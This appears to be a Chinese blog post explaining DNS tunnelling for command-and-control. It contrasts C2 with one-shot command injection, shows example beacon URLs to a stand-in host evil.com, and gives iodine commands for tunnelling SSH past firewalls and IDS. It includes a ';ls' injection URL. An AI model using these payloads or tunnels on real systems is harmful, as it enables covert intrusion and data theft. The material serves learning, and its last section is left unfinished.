DNS隧道的搭建
原理
C2和常规RCE的区别
在常规的RCE中,如命令注入
http://ping.com?ip=127.0.0.1;ls
这样靶机收到http请求,执行一次ls就结束了,本质上是封装在http通道中的一次命令执行
而在C&C(C2)攻击中,攻击者成功入侵靶机后会执行上线命令让靶机连接攻击者的C2服务器,建立持久通道,在通道中实现持续的数据输入与输出
举个最简单的例子,某靶机被安装运行C2后,会每秒发一个http请求
http://evil.com?task=1
C2服务器收到后会返回当前需要其执行的命令:
{"command":"whoami"}
靶机收到后,以http请求把执行结果返回
http://evil.com?result=root
这就是一个封装在http通道中的C2
DNS隧道
为了绕过部分防火墙 IPS/IDS的限制,可以使用C2,在DNS隧道中传输数据。
比如说,如果我设置A记录,将chat.mak4r1.com解析至我的ip 43.135.167.140
再设置一条NS记录,将解析ns1.mak4r1.com的请求发送到chat.mak4r1.com
这样,受害机如果试图解析ns1.mak4r1.com,由于没有缓存,那么DNS解析请求最终就会发送到chat.mak4r1.com把他作为DNS解析服务器,而chat.mak4r1.com正是我们的恶意vps,理论上DNS解析需要我们返回IP,但是我们可以返回任意字符串,把其他协议封装到DNS解析结果中,发送回受害机就完成了信息传输。
再使用中继隧道时,如果需要解析的域名在本地的DNS Server中已经有缓存时,本地的DNS Server就不会转发数据包。所以在构造的请求中,每次查询的域名都是不一样的。
实践
使用工具iodine进行dns隧道搭建
工具地址:https://github.com/yarrick/iodine
clone下来直接无脑make,或者debian系列的直接apt install iodine即可
iodine原理:DNS通信成功后,在受害机和攻击机间建立一张虚拟网卡,攻击机访问虚拟网卡的受害机ip即可访问受害机所有本地端口的服务,包括ssh
先确保公网DNS上有一条A记录,解析chat.mak4r1.com到43.135.167.140
然后建立NS记录,将ns1.mak4r1.com转发到chat.mak4r1.com
(方便学习验证就不码了,现在规则已经删除啦~)
然后在受害机chat.mak4r1.com上执行命令:
iodined -f -c -P 1 192.168.0.1 ns1.mak4r1.com -DD
-P是连接密码,写一个密码就行
192.168.0.1是虚拟网卡中受害机的虚拟ip
ns1.mak4r1.com是NS记录里待查询的域名
然后在客户端(这里客户端我用的是另一台vps,在本机wsl我这里会报错)执行:
iodine -f -P 1 ns1.mak4r1.com -M 200
回显Connection setup complete, transmitting data.
就是OK的,这时候ping 192.168.0.1能ping通说明连接成功,尝试ssh:
成功ssh连接。
手搓一次DNS交互
搓不出来,准备腾子面试先了,随缘更
Comments NOTHING